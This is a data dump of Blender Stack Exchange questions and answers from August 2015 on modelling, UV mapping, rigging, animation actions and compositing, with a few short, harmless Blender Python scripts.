  <row Id="36120" PostTypeId="2" ParentId="36117" CreationDate="2015-08-21T03:53:38.740" Score="1" Body="&lt;p&gt;You are looking at the render layer not at the composite.&#xA;Change to composite here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SqIVc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SqIVc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-21T03:53:38.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36121" PostTypeId="2" ParentId="36109" CreationDate="2015-08-21T05:02:12.323" Score="-2" Body="&lt;p&gt;You must also create inverse kinematics for your upper leg and upper arms, the chain length for your lower legs and arms should be 2 and the chain length for your upper arm and legs should be one. The follow blog will be very helpful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.digitaltutors.com/how-to-create-your-first-character-rig-in-blender-part-1/&quot; rel=&quot;nofollow&quot;&gt;http://blog.digitaltutors.com/how-to-create-your-first-character-rig-in-blender-part-1/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15754" LastEditorUserId="15754" LastEditDate="2015-08-21T06:40:25.660" LastActivityDate="2015-08-21T06:40:25.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36122" PostTypeId="2" ParentId="32293" CreationDate="2015-08-21T05:06:32.883" Score="1" Body="&lt;p&gt;Turn off transparency in the Render properties. In cycles it can be found under film and in blender render it can be found under shader. Or you could just add a plain as a background.&lt;/p&gt;&#xA;" OwnerUserId="15754" LastEditorDisplayName="user1853" LastEditDate="2015-12-19T10:13:27.840" LastActivityDate="2015-12-19T10:13:27.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36123" PostTypeId="2" ParentId="36093" CreationDate="2015-08-21T05:51:38.033" Score="1" Body="&lt;p&gt;As the others have said change your normal map image from &quot;Color&quot; to &quot;Non-Color Data&quot;. Also your normal map should be hooked up to the diffuse through the normal dot AND the normal dot on the glossy shader.&lt;/p&gt;&#xA;" OwnerUserId="16576" LastEditorUserId="16576" LastEditDate="2015-09-21T05:02:10.110" LastActivityDate="2015-09-21T05:02:10.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36124" PostTypeId="2" ParentId="36116" CreationDate="2015-08-21T06:26:39.770" Score="1" Body="&lt;p&gt;In your approach, you can generally scale the inner and outer rings separately in edit mode. It's tricky to measure the selected elements' dimensions (I have an addon soon to be released for that) but possible, if cumbersome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can generate a precise ring with a slightly different approach, based on adding mesh circles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First add a circle, then set its radius from the last operator panel:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lX4hH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lX4hH.jpg&quot; alt=&quot;Add circle and set radius&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to edit mode, and add another circle, which will be part of the same mesh since you're in edit mode. If the first circle was our inner right, this is our outer ring. Again set its radius to the desired outer ring radius from the last operator panel:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/04VVy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/04VVy.jpg&quot; alt=&quot;Add outer ring circle in edit mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/LoopTools&quot; rel=&quot;nofollow noreferrer&quot;&gt;looptools&lt;/a&gt; bridge to connect the inner and outer ring. If you don't have the looptools activated, add them from the plugins menu in the user preferences:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Sbz27.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sbz27.jpg&quot; alt=&quot;Bridge inner and outer loops&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the last phase would be to extrude the rings to the desired height:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WhQai.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WhQai.jpg&quot; alt=&quot;Extrude&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-21T06:26:39.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36125" PostTypeId="2" ParentId="36116" CreationDate="2015-08-21T06:39:06.380" Score="2" Body="&lt;p&gt;Different, slightly quicker approach -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a cylinder and change the radius and depth in the last operator panel to match the desired values:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jB2eR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jB2eR.jpg&quot; alt=&quot;Add cylinder&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in edit mode, select the top and bottom faces, extrude in place (press E, then immediately after Enter before the faces had a change to move anywhere), then change the pivot point to individual origins:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KQs1g.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQs1g.jpg&quot; alt=&quot;Extrude in place&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now scale the top and bottom faces to match the desired radius. Since we change the pivot to individual origins, each face will scale around its own origin, and in effect both faces will be inset.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/a9l5O.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a9l5O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the only thing left is to bridge the two faces to create the inner hole and geometry (see answer above to explain how to activate the looptools addon if youre not familiar with it):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/juGd3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/juGd3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-21T06:39:06.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36126" PostTypeId="2" ParentId="36119" CreationDate="2015-08-21T06:39:32.223" Score="2" Body="&lt;p&gt;With the faces selected use &lt;kbd&gt;U&lt;/kbd&gt; Unrwap to open the unwrap menu and chose &lt;em&gt;Reset&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pGj1y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pGj1y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ateXo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ateXo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can scale &lt;kbd&gt;S&lt;/kbd&gt; and move &lt;kbd&gt;G&lt;/kbd&gt; the uv as you like, use Circle select &lt;kbd&gt;C&lt;/kbd&gt; to select all vertices in a corner and align them with your texture. &#xA;Of course you can also align individual vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xFhE9.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFhE9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-08-21T06:46:09.670" LastActivityDate="2015-08-21T06:46:09.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36128" PostTypeId="2" ParentId="33296" CreationDate="2015-08-21T08:48:31.770" Score="0" Body="&lt;p&gt;So it looks like bug, because it works good in last developer build. But I found workaround. If you want add key to curves, you have to activate View &gt; Show sliders in F-Curve editor. Turn on autokey and change value.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2015-08-21T08:48:31.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36129" PostTypeId="1" AcceptedAnswerId="36134" CreationDate="2015-08-21T09:16:14.237" Score="15" ViewCount="50628" Body="&lt;p&gt;I can't delete any of these actions. I did do Shift + X but they just keeps showing up. There's no O next to them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bjZQS.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bjZQS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's blend file: &lt;/p&gt;&#xA;" OwnerUserId="16261" LastEditorUserId="16261" LastEditDate="2015-09-17T03:31:59.397" LastActivityDate="2021-03-21T01:41:06.460" Title="Can not delete actions in action editor even with Shift + x" Tags="&lt;animation&gt;" AnswerCount="6" CommentCount="4" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36130" PostTypeId="2" ParentId="36110" CreationDate="2015-08-21T09:25:08.977" Score="2" Body="&lt;p&gt;The point density that this addon needs to create the clouds volume is now only supported in the Gooseberry branch: &lt;a href=&quot;http://www.blendernation.com/2015/04/02/gooseberry-branch-point-density-texture-in-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Point Density Cycles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without point density you need to model/sculpt those clouds yourself.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: As the Point Density texture is in trunk now, it is reflected in this answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/44965/7777&quot;&gt;Is there an easy way to make volumetric clouds for Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2016-01-14T11:29:22.837" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36131" PostTypeId="1" CreationDate="2015-08-21T10:52:23.243" Score="1" ViewCount="583" Body="&lt;p&gt;I am trying to cache a heavy hair simulation (picture and blend file below). I have two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried to cache &quot;in file&quot; by disabling the &quot;disk cache&quot; box. The file seems to be getting bigger and bigger. It's been cached and uncached a couple of times. Is there a way to reset the whole caching process without recreating it from scratch?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Very often the simulation just wont work. When I append it from another scene it works, But if I change it's settings it stops working.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bsr6g.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bsr6g.jpg&quot; alt=&quot;These are the settings.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B-_mQmsdsEpnSmd5ekRUenVLNTQ/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is the blender file.&lt;/a&gt; A bit large (125mb) I know :( hence the first question.&lt;/p&gt;&#xA;" OwnerUserId="16581" LastEditorUserId="2217" LastEditDate="2016-07-27T03:32:47.077" LastActivityDate="2016-07-27T03:32:47.077" Title="Hair simulation cache" Tags="&lt;particles&gt;&lt;hair&gt;&lt;cache&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36132" PostTypeId="2" ParentId="36100" CreationDate="2015-08-21T10:56:50.137" Score="2" Body="&lt;p&gt;In addition to @TLousky's answer, a few more variants to achieve the same goal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# save us some typing, shorten line length and maybe&#xA;# even perform better because of aliasing:&#xA;ob = bpy.context.object&#xA;&#xA;ob.name = ob.name.replace(&quot;_HP&quot;, &quot;_LP&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Limit number of replacements to 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name = bpy.context.object.name&#xA;name = name.replace(&quot;_HP&quot;, &quot;_LP&quot;, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use a regular expression:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import re&#xA;&#xA;ob = bpy.context.object&#xA;ob.name = re.sub(&quot;_HP$&quot;, &quot;_LP&quot;, ob.name, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: it will only substitute &lt;code&gt;_HP&lt;/code&gt; once, and only if it's at the very end of ob.name!  It is equivalent to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ob.name.endswith(&quot;_HP&quot;):&#xA;    ob.name = ob.name[:-3] + &quot;_LP&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-21T10:56:50.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36133" PostTypeId="1" CreationDate="2015-08-21T11:11:36.697" Score="1" ViewCount="235" Body="&lt;p&gt;I have an existing navigation mesh and that works fine with steering actuator. Now there is a need to extend the current navigation mesh and join another navigation mesh of certain length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please have a look at the attached screenshot, in the first screenshot, as I have shown I tried using 'Object Join' but that just destroys my navigation mesh(2). The individual cells of the navigation mesh(2) merges to one big cell, which I dont want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown in the second screenshot, as I have shown, if I could merge the extreme cells of both the navigation mesh then may be the cells of each navigation mesh are retained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to achieve this. Thanks in advance !&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aVCPf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVCPf.png&quot; alt=&quot;Screenshot-1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nPa18.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nPa18.png&quot; alt=&quot;Screenshot-2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15469" LastEditorUserId="35559" LastEditDate="2018-08-17T06:02:39.353" LastActivityDate="2021-02-06T06:00:35.237" Title="how to join two Navigation mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;game-engine&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36134" PostTypeId="2" ParentId="36129" CreationDate="2015-08-21T12:25:13.077" Score="19" Body="&lt;p&gt;If you want to delete a single action do it in the &lt;strong&gt;&lt;em&gt;NLA Editor&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ri92q.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ri92q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to delete all actions, go to the &lt;strong&gt;&lt;em&gt;Outliner&lt;/em&gt;&lt;/strong&gt; and type &lt;em&gt;animation&lt;/em&gt; in a search window. Hover your cursor as pictured below, press RMB--&gt;&lt;em&gt;Clear Animation Data&lt;/em&gt;. All your actions should disapear.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QcFaT.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QcFaT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-21T13:09:13.090" LastActivityDate="2015-08-21T13:09:13.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36136" PostTypeId="1" CreationDate="2015-08-21T13:05:56.080" Score="5" ViewCount="386" Body="&lt;p&gt;I'm learning blender and came upon this small problem when trying to uv-unwrap the small hinge below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll start by telling how I made it, as it might help answer the question.&#xA;I simply took a cube made it flat, and used the knife-tool to cut it in two.&#xA;This made the shape on the right (squared out?), where the front and the back are one n-gon (as I see it). But this produces the uvmap at the bottom right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then removed the face and build up the front and back with tris and quads, and the unwrap ended up as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TVp1s.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TVp1s.png&quot; alt=&quot;hinge and UV map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how do I ensure that I do not end up in the same situation again, when modeling? I don't want to go back and having to add tris and/or quads to get a sensible unwrapping.&#xA;Are there some rule of thumb to follow, to ensure a good unwrapping result.&lt;/p&gt;&#xA;" OwnerUserId="16585" LastEditorUserId="2217" LastEditDate="2015-08-21T14:26:14.927" LastActivityDate="2018-01-29T20:07:46.780" Title="Simple modeling rules to get sensible UV mapping" Tags="&lt;modeling&gt;&lt;uv&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36137" PostTypeId="1" AcceptedAnswerId="36138" CreationDate="2015-08-21T13:10:07.643" Score="2" ViewCount="1230" Body="&lt;p&gt;I've created a track with skeletal animation. I have a bone, that has Spline IK constraint, which target is bezier curve. This bezier curve has curve modifier, which target is also bezier. All I need is export animation of this track working into fbx for UE4, but after inserting keyframes, nothing happens. I also notices, that locaton and translation of bones changes only visualy after I move the Spline IK's bezier curve. I' ve tried many of variations, but nothing helps. &lt;a href=&quot;https://i.stack.imgur.com/KdVpp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KdVpp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I have in UE. &lt;a href=&quot;https://i.stack.imgur.com/W2YLF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W2YLF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;It has a gap and it is something like skewed. It is the best I have achieve&lt;/p&gt;&#xA;" OwnerUserId="16586" LastEditorUserId="16586" LastEditDate="2015-08-21T13:31:36.377" LastActivityDate="2018-10-11T15:46:59.500" Title="Armature with Spline IK Constraint animation problem" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bezier-curves&gt;&lt;constraints&gt;&lt;unreal-engine&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36138" PostTypeId="2" ParentId="36137" CreationDate="2015-08-21T13:49:09.883" Score="1" Body="&lt;p&gt;If the track is made from pieces parented to bones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select all track pieces&lt;/li&gt;&#xA;&lt;li&gt;Object &gt; Animation &gt; Bake Action&lt;/li&gt;&#xA;&lt;li&gt;Check all the boxes and hit OK&lt;/li&gt;&#xA;&lt;li&gt;Now the animation is baked and should export without problems.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the track is single piece deformed by Armature modifier:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You will have to bake the animation of bones (same as above but bake to Pose)&lt;/li&gt;&#xA;&lt;li&gt;Or convert it into Shapekey animation with &lt;a href=&quot;https://blender.stackexchange.com/a/23566/7777&quot;&gt;this script&lt;/a&gt;. This will also export fine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-08-21T13:49:09.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36140" PostTypeId="1" AcceptedAnswerId="36143" CreationDate="2015-08-21T14:02:37.240" Score="21" ViewCount="6667" Body="&lt;p&gt;I'd like to know if there's a way/add-on to convert curves to Grease Pencil strokes? I know you can convert in the other direction, but I can't find anything to create Grease Pencil strokes from curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In attempting to setup guides for a model I'm working on, did so using curves. I'm now thinking GP would have been the better option, and would rather not have to recreate my guides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sj3iu.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sj3iu.jpg&quot; alt=&quot;Rubbery Ducky curve guides (traced from reference photos)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13644" LastEditorUserId="2217" LastEditDate="2015-08-21T23:19:28.600" LastActivityDate="2017-04-03T11:30:00.677" Title="Convert Curves to Grease Pencil?" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;grease-pencil&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36141" PostTypeId="1" CreationDate="2015-08-21T14:11:09.527" Score="1" ViewCount="4284" Body="&lt;p&gt;I have an object with mirror and multires unapplied, and I want to bake it with higher details while maintaining optimization, but I get the message noted in the title of this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my configurations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hMdhg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMdhg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/O3aG4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3aG4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2021-03-18T06:03:55.373" Title="Multires baking requires a multires object" Tags="&lt;uv&gt;&lt;modifiers&gt;&lt;normals&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36143" PostTypeId="2" ParentId="36140" CreationDate="2015-08-21T15:56:50.690" Score="18" Body="&lt;p&gt;First convert your curves in to mesh objects, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;em&gt;Mesh from Curve/Meta/Surf/Text&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now just copy and paste the script below into blender's text editor, then with your object still selected press &lt;em&gt;Run Script&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script below will draw grease pencil strokes on the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active object&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;obj = bpy.context.object&#xA;mesh = obj.data&#xA;scene = bpy.context.scene&#xA;&#xA;pencil = bpy.data.grease_pencil.new(&quot;pencil&quot;)&#xA;scene.grease_pencil = pencil&#xA;&#xA;layer = pencil.layers.new(&quot;layer&quot;, set_active=True)&#xA;frame = layer.frames.new(scene.frame_current)&#xA;&#xA;for edge in mesh.edges:&#xA;    stroke = frame.strokes.new()&#xA;    stroke.draw_mode = '3DSPACE'&#xA;&#xA;    stroke.points.add(2)&#xA;    stroke.points[0].co = obj.matrix_world * Vector(mesh.vertices[edge.vertices[0]].co)&#xA;    stroke.points[1].co = obj.matrix_world * Vector(mesh.vertices[edge.vertices[1]].co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to CoDEmanX for his making a grease pencil through bpy &lt;a href=&quot;https://blender.stackexchange.com/a/24712/2217&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-08-21T15:56:50.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36144" PostTypeId="2" ParentId="36129" CreationDate="2015-08-21T16:10:19.493" Score="0" Body="&lt;p&gt;Thanks everyone! I've managed to figure it out eventually! If shift+X cant remove the actions completely, you could do as Gonzou suggets to delete ALL of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete each of the actions, Go to NLA editor, delete the Action Stash labeled the name of the action you want to remove. Then you can Shift+X to remove the action completely in Action editor!&lt;/p&gt;&#xA;" OwnerUserId="16261" LastActivityDate="2015-08-21T16:10:19.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36145" PostTypeId="1" AcceptedAnswerId="36182" CreationDate="2015-08-21T16:25:05.227" Score="5" ViewCount="7503" Body="&lt;p&gt;I'm trying to achieve DOF using Blender Internal 2.75a. Everything seems to work, except that the F-stop doesn't seem to do anything, nor in the Defocus node nor in the camera DOF settings. I just get a uniform blur, no focus plane. I followed tutorials and read some posts but couldn't find the correct solution. See the image for my settings. Note that I am focusing on the Eyes object. How to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YbGju.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YbGju.jpg&quot; alt=&quot;Depth of Field F-stop&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16239" LastEditorDisplayName="user1853" LastEditDate="2015-08-22T18:11:23.327" LastActivityDate="2015-08-22T18:11:23.327" Title="Depth of Field F-stop not doing anything?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36146" PostTypeId="1" AcceptedAnswerId="36148" CreationDate="2015-08-21T17:00:50.050" Score="12" ViewCount="10056" Body="&lt;p&gt;I have split several chains of vertices into groups in an attempt to access only one chain at a time for modeling, and it seemed to work yesterday. Today I can't isolate them when I use proportional editing. Is there something I need to do differently?&lt;/p&gt;&#xA;&lt;p&gt;Here is the situation: I am building a model of the mountain below (it's on the Moon, so there aren't any files out there with its topographic information, and only one high-resolution photo exists). I have to figure out the relative height of its ridges by judging what the lighting means. So I drag parts of the vertex chains marking the ridges up and down using proportional editing, in right ortho view. The other vertex chains I don't want to move remain visible, otherwise I can't judge their relative position, but I don't want to move them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rti8a.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rti8a.png&quot; alt=&quot;lunar mountain being edited in blender&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Edit - I see now why it sometimes works - the circle marking the edge of the proportional effect is actually a sphere. If it doesn't touch adjacent vertex chains, then it works the way I want.&lt;/p&gt;&#xA;" OwnerUserId="7548" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-05-26T15:14:25.897" Title="Is there a way to do proportional editing only on specific vertices?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;proportional-editing&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
